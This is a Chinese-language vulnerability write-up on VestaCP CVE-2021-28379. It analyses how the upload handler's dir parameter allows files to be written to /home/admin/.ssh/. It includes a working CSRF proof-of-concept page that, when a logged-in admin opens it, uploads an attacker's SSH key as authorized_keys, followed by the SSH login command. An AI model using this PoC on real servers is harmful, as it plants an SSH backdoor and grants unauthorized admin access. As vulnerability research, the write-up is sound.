0x00前言
Vesta Control Panel(VestaCP)是一个开源的虚拟主机控制面板。 Vesta Control Panel 0.9.8-27版本及之前版本存在代码问题漏洞,该漏洞源于/web/upload/UploadHandler.php
可配合CSRF漏洞在管理员主页中创建.ssh
文件夹并上传authorized_keys
文件,最终可以通过ssh以admin身份访问服务器。
0x01漏洞分析
定位漏洞文件/web/upload/index.php

该文件创建UploadHandler类的一个实例,相应上传操作在UploadHandler.php中实现。再定位到UploadHandler.php,可以看到如下构造方法

accept_file_types接受任意类型,此时首先应想到上传php来getshell。但/files/
目录并不能解析php文件,遂继续阅读代码看能否跨目录上传到web目录。继续跟到上传功能函数handlefileupload()
部分

该函数首先会调用trimfilename()
来对文件名进行修改,我们来看下他干了什么

1. 首先调用stripslashes()从文件名中删除所有斜杠。
2. basename只取出文件名,保证不包含任何路径
3. 从文件名的开头和结尾删除所有控制字符(0x00 - 0x20)。
完美打破了我们在文件名上尝试目录穿越上传webshell的想法。问题不大继续往下看,在图三中handle_file_upload最后几行获取上传目录,该目录就是文件将被上载到的目录,如果该目录不存在,则会创建该目录。继续跟到get_upload_path函数

我们可以get方式传递dir参数并将上传目录设置为任何目录,那现在我们是不就可以向web目录上传文件了呢。回到handle_file_upload中可以看到实际创建文件操作是由v-copy-fs-file脚本完成

该bash脚本位于/bin/目录下,找到对$file_path做检查操作的相关行

允许并仅允许写入文件到/tmp/
或者/home/admin/
目录下
回过头撸一下,首先我们可以上传任意文件,其次我们可以控制写入文件路径为/tmp/
,/home/admin/
或其子目录,再然后VestaCP通常安装在linux上默认支持openssh。此时可以想到向/home/admin/.ssh/
下写ssh公钥,之后通过ssh连接到服务器。但upload/存在鉴权,需登录后才可访问。
结合CSRF构造POC如下:
<html>
<head>
<script>
function exploit() {
var mystring = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY463UG77/acyToxaVO3EbPlpzKCRLNHtWye7a0zLYYBw5Ylncktc7xo+xytuJpqdXxyMOJAtrMhSuEG/8tXtVRf317rPxn4CFd6cP6OZC36crzTdsZQzHIxBdogeHHdbluDOS+JD1MjEZU2pXg/A01jJJ2IQ6DHjkNeDhFH2/RChCiWEgGRDOgImg5EU0ScnBacJwXsoikxQgI/s/2RdKs5M9IOr2YclsTugPUnnGzMHPLyG3RNfS5MC/QyVTyGG1IInLttqhwYGpXBhAXZsahUyQd03PwgvMO3EhK6zBvgIGLFybSwVogDPgACT4/O6Je3ynMCUSexSuNkFPgvnh root@iZbp19ryeo1038lmdsso1pZ';
var fileContent = new Blob([mystring], {
type: 'text/plain'
});
myFormData = new FormData();
myFormData.append("files", fileContent, "authorized_keys");
fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
method: "post",
body: myFormData,
credentials: "include"
}); }
</script>
</head>
<body onload="exploit();">
</body>
</html>
0x02 漏洞复现
傻瓜式环境搭建
## Connect to your server as root via SSH
ssh root@your.server
# Download installation script
curl -O http://vestacp.com/pub/vst-install.sh
# Run it
bash vst-install.sh

将POC写入exploit.html

登录状态点击

ssh -i id_rsa admin@target

0x03 Reference
[*] https://blog.fadyothman.com/cve-2021-28379-gaining-rce-via-ssh-backdoor-in-vestacp/
[*] https://nvd.nist.gov/vuln/detail/CVE-2021-28379
[*] https://cxsecurity.com/issue/WLB-2021030100
[*] https://github.com/serghey-rodin/vesta/tree/0.9.8-24
[*] https://vestacp.com/install/
本文迁移自知识星球“火线Zone”